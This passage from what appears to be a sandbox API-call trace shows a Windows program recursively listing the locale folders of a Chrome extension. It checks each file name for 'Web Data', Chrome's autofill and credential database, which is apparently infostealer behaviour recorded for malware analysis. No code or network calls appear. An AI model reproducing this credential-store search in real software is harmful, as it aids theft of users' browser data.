Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.226] lstrlenA (lpString="ro") returned 2 [0056.226] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.226] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.226] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro" [0056.226] LocalFree (hMem=0x2daca0) returned 0x0 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned 132 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned 132 [0056.226] lstrlenA (lpString="\\*.*") returned 4 [0056.226] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.226] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro" [0056.226] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*" [0056.226] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.226] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.226] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.226] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.226] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.226] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.226] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.226] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.226] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.226] LocalFree (hMem=0x2daec0) returned 0x0 [0056.226] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.226] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.226] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0056.226] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.226] lstrlenA (lpString="\\") returned 1 [0056.226] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.226] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.226] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.226] lstrlenA (lpString="ru") returned 2 [0056.226] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.226] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.226] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru" [0056.226] LocalFree (hMem=0x2daca0) returned 0x0 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned 132 [0056.226] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned 132 [0056.226] lstrlenA (lpString="\\*.*") returned 4 [0056.226] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.226] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru" [0056.227] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*" [0056.227] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.227] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.227] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.227] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.227] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.227] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.227] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.227] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.227] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.227] LocalFree (hMem=0x2daec0) returned 0x0 [0056.227] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.227] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.227] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0056.227] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0056.227] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.227] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.227] lstrlenA (lpString="\\") returned 1 [0056.227] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.227] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.227] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.227] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.227] lstrlenA (lpString="sk") returned 2 [0056.227] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.227] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.227] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk" [0056.227] LocalFree (hMem=0x2daca0) returned 0x0 [0056.227] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned 132 [0056.227] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned 132 [0056.227] lstrlenA (lpString="\\*.*") returned 4 [0056.227] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.227] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk" [0056.227] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*" [0056.227] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.227] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.227] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.227] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.227] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.227] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.227] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.228] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.228] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.228] LocalFree (hMem=0x2daec0) returned 0x0 [0056.228] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.228] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.228] lstrcmpiA (lpString1=".", lpString2="sl") returned -1 [0056.228] lstrcmpiA (lpString1="..", lpString2="sl") returned -1 [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.228] lstrlenA (lpString="\\") returned 1 [0056.228] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.228] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.228] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.228] lstrlenA (lpString="sl") returned 2 [0056.228] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.228] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.228] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl" [0056.228] LocalFree (hMem=0x2daca0) returned 0x0 [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned 132 [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned 132 [0056.228] lstrlenA (lpString="\\*.*") returned 4 [0056.228] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.228] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl" [0056.228] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*" [0056.228] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.228] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.228] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.228] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.228] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.228] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.228] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.228] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.228] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.228] LocalFree (hMem=0x2daec0) returned 0x0 [0056.228] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.228] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.228] lstrcmpiA (lpString1=".", lpString2="sr") returned -1 [0056.228] lstrcmpiA (lpString1="..", lpString2="sr") returned -1 [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.228] lstrlenA (lpString="\\") returned 1 [0056.228] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.228] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.228] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.228] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.229] lstrlenA (lpString="sr") returned 2 [0056.229] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.229] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.229] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="sr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr") returned="C:\\Users\\aDU0VK 